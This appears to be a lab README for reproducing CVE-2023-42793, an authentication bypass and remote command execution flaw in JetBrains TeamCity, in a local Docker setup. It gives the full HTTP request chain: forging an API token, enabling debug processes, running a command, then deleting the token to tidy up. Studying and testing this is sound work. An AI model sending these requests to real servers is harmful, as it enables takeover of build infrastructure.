Aaron
63285f61aa
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104 lines
3.1 KiB
Markdown
104 lines
3.1 KiB
Markdown
# Jetbrains TeamCity Authentication Bypass and Remote Command Execution (CVE-2023-42793)
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[中文版本(Chinese version)](README.zh-cn.md)
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TeamCity is a general-purpose CI/CD software platform that allows for flexible workflows, collaboration and development practices.
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TeamCity server version 2023.05.3 and below is prone to an authentication bypass, which allows an unauthenticated attacker to gain remote code execution (RCE) on the server.
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References:
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- <https://www.sonarsource.com/blog/teamcity-vulnerability/>
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- <https://blog.projectdiscovery.io/cve-2023-42793-vulnerability-in-jetbrains-teamcity/>
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## Vulnerable Environment
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Execute following command to start a TeamCity server 2023.05.3:
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```
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docker compose up -d
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```
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After the server is started, you should do the initialization steps on `http://localhost:8111`:
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## Exploit
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The key point of this issue is that, all the requests end with `/RPC2` wouldn't be authenticated.
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To exploit the issue, send the following request to add a rest API token that name is `RPC2`:
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```
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POST /app/rest/users/id:1/tokens/RPC2 HTTP/1.1
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Host: localhost:8111
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Accept-Encoding: gzip, deflate, br
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
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Connection: close
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Cache-Control: max-age=0
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 0
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```
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Success to generate a rest API token. Then, enable the debug mode with the API token:
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```
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POST /admin/dataDir.html?action=edit&fileName=config%2Finternal.properties&content=rest.debug.processes.enable=true HTTP/1.1
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Host: localhost:8111
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Accept-Encoding: gzip, deflate, br
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
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Connection: close
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Cache-Control: max-age=0
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 0
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Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.UTlaUm5sYzQtRUZ0YTNhT1llU2xpTU43TjNF.MWY2NjI4MmQtYzFlMi00YTEwLTk1ZTEtMDFiZmZiOGY2NGY0
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```
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You are able to execute arbitrary commands after the debug mode is enabled:
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```
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POST /app/rest/debug/processes?exePath=id HTTP/1.1
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Host: localhost:8111
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Accept-Encoding: gzip, deflate, br
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
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Connection: close
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Cache-Control: max-age=0
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Content-Length: 0
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Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.UTlaUm5sYzQtRUZ0YTNhT1llU2xpTU43TjNF.MWY2NjI4MmQtYzFlMi00YTEwLTk1ZTEtMDFiZmZiOGY2NGY0
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```
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It's better to delete the API token that we added before:
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```
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DELETE /app/rest/users/id:1/tokens/RPC2 HTTP/1.1
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Host: localhost:8111
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Accept-Encoding: gzip, deflate, br
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
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Connection: close
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Cache-Control: max-age=0
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 0
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```
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